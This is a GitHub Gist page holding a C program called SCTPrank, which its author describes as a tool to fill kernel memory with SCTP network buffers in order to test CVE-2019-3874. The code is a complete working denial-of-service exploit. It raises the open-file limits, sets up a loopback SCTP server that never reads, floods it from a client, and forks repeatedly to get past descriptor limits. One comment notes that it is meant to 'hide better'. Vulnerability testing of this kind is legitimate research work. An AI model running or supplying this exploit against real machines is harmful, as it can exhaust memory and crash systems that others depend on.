Last active
November 6, 2019 09:28
-
-
Save teknoraver/d59fd64f82873662a4e74d9c82e0a192 to your computer and use it in GitHub Desktop.
[CVE-2019-3874] a tool to fill the kernel memory using SCTP network buffers
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* SCTPrank - a tool to fill the kernel memory using SCTP network buffers | |
* its main purpose was to test CVE-2019-3874 | |
* Copyright (C) 2019 Matteo Croce <[email protected]> | |
* | |
* This program is free software: you can redistribute it and/or modify | |
* it under the terms of the GNU General Public License as published by | |
* the Free Software Foundation, either version 3 of the License, or | |
* (at your option) any later version. | |
* | |
* This program is distributed in the hope that it will be useful, | |
* but WITHOUT ANY WARRANTY; without even the implied warranty of | |
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
* GNU General Public License for more details. | |
* | |
* You should have received a copy of the GNU General Public License | |
* along with this program. If not, see <https://www.gnu.org/licenses/>. | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <errno.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <sys/resource.h> | |
#include <netinet/in.h> | |
#define PORT 61898 | |
static void restart() | |
{ | |
if (fork()) { | |
/* idle forever */ | |
while (1) | |
sleep(60); | |
} else { | |
/* close inherited sockets up to _SC_OPEN_MAX */ | |
int i; | |
for (i = sysconf(_SC_OPEN_MAX) - 1; i > 3 ; i--) | |
close(i); | |
} | |
} | |
static void server(void) | |
{ | |
struct sockaddr_in addr = { | |
.sin_family = AF_INET, | |
.sin_addr.s_addr = htonl(INADDR_LOOPBACK), | |
.sin_port = htons(PORT), | |
}; | |
int sock; | |
int pid; | |
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); | |
if (sock == -1) | |
exit(1); | |
setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, NULL, 0); | |
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) { | |
close(sock); | |
perror("bind"); | |
exit(1); | |
} | |
if (listen(sock, 100) < 0) { | |
perror("listen"); | |
exit(1); | |
} | |
pid = fork(); | |
if (pid == -1) { | |
perror("fork"); | |
exit(1); | |
} | |
if (pid) { | |
close(sock); | |
return; | |
} | |
/* accept every connection without read anything */ | |
while(1) | |
if (accept(sock, NULL, NULL) == -1) { | |
/* real error */ | |
if (errno != EMFILE) | |
return; | |
/* max FD limit reached, fork and restart */ | |
restart(); | |
continue; | |
} | |
} | |
/* save RAM, hide better */ | |
static char buf[(1 << 16) - (1 << 12)]; | |
static void client(void) | |
{ | |
struct sockaddr_in addr = { | |
.sin_family = AF_INET, | |
.sin_addr.s_addr = htonl(INADDR_LOOPBACK), | |
.sin_port = htons(PORT), | |
}; | |
int sock; | |
while (1) { | |
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); | |
if (sock == -1) { | |
/* real error */ | |
if (errno != EMFILE) | |
return; | |
/* max FD limit reached, fork and restart */ | |
restart(); | |
continue; | |
} | |
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) { | |
/* port limit reached, wait forever.. */ | |
if (errno == EAGAIN) | |
while (1) | |
sleep(60); | |
close(sock); | |
return; | |
} | |
/* set SOCK_NONBLOCK otherwise we will block when the queue is full */ | |
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL, 0) | SOCK_NONBLOCK); | |
/* write random data until the socket will block */ | |
while (send(sock, buf, sizeof(buf), 0) == sizeof(buf)); | |
} | |
} | |
int main(int argc, char *argv[]) | |
{ | |
int nr_open; | |
/* read the maximum allowed value for RLIMIT_NOFILE */ | |
if ((nr_open = open("/proc/sys/fs/nr_open", O_RDONLY))) { | |
char buf[sizeof("2147483584") + 1] = {0}; | |
if (read(nr_open, buf, sizeof(buf)) > 0) { | |
struct rlimit unlimfds = { | |
atoi(buf), atoi(buf), | |
}; | |
/* try to set hard and soft limit */ | |
setrlimit(RLIMIT_NOFILE, &unlimfds); | |
} | |
close(nr_open); | |
} | |
server(); | |
client(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment